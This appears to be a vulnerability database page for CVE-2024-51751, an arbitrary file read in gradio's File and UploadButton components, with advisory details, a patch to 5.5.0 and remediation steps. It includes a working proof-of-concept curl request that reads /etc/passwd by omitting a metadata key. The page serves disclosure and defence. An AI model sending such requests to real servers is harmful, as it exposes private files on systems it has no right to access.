NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

CVE-2024-51751 — gradio

MEDIUM

CVE-2024-51751 is a medium-severity (CVSS 6.5) Path Traversal vulnerability in gradio. A fix is available for gradio — see the affected versions and patch details below.

Arbitrary file read with File and UploadButton components in Gradio

Also known asGHSA-rhm9-gp5p-5248PYSEC-2024-275
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 30, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-51751.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk-0.01%
Lower risk than most CVEs52th percentile — riskier than 52% of all scored CVEsHighest risk
0.00%0.40%0.79%1.19%0.3%0.7%Apr 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍gradio

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server.

Details

Consider the following application where a user can upload a file and preview its content:

import gradio as gr

def greet(value: bytes):
    return str(value)

demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox")

if __name__ == "__main__":
    demo.launch()

If we run this application and make the following request (which attempts to read the /etc/passwd file)

curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain","meta":{"_type":"gradio.FileData"}}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}'

Then this results in the following error on the server

gradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user.

This is expected. However, if we now remove the "meta":{"_type":"gradio.FileData"} from the request:

curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}'

This doesn't cause an error and results in the content of /etc/passwd being shown in the response!

This works because Gradio relies on the processing_utils.async_move_files_to_cache to sanitize all incoming file paths in all inputs. This function performs the following operation

    return await client_utils.async_traverse(
        data, _move_to_cache, client_utils.is_file_obj_with_meta
    )

where client_utils.is_file_obj_with_meta is used as a filter which tells on which inputs to perform the _move_to_cache function (which also performs the allowed/disallowed check on the file path). The problem is that client_utils.is_file_obj_with_meta is not guaranteed to trigger for every input that contains a file path:

def is_file_obj_with_meta(d) -> bool:
    """
    Check if the given value is a valid FileData object dictionary in newer versions of Gradio
    where the file objects include a specific "meta" key, e.g.
    {
        "path": "path/to/file",
        "meta": {"_type: "gradio.FileData"}
    }
    """
    return (
        isinstance(d, dict)
        and "path" in d
        and isinstance(d["path"], str)
        and "meta" in d
        and d["meta"].get("_type", "") == "gradio.FileData"
    )

For example, as in the PoC, the file path won't be checked if the meta key is not present in the request or if _type is not gradio.FileData.

Then, the path remains under control of the attacker and is used to read a file in _process_single_file function in file.py and upload_button.py (and possibly other places)

PoC

As described above, run the following Gradio app

import gradio as gr

def greet(value: bytes):
    return str(value)

demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox")

if __name__ == "__main__":
    demo.launch()

And make the following request

curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}'

Impact

Arbitrary file read in specific Gradio applications that use File or UploadButton components to upload files and echo/preview the content to the user.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIgradio≥ 5.0.0&&< 5.5.05.5.0pip install --upgrade 'gradio==5.5.0'

Affected Products

1 product · 1 configurations
Application
gradiogradio_project
≥ 5.0.0 && < 5.5.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gradio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update gradio to 5.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-51751 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

### Summary If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server. ### Details Consider the following application where a user can upload a file and preview its content: ``` import gradio as gr def greet(value: bytes): return str(value) demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox") if __name__ == "__main__": demo.launch() ``` If we run this application and make the following requ
O3 Security · Impact-Aware SCA

Is CVE-2024-51751 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2024-51751: gradio — Fixed in 5.5.0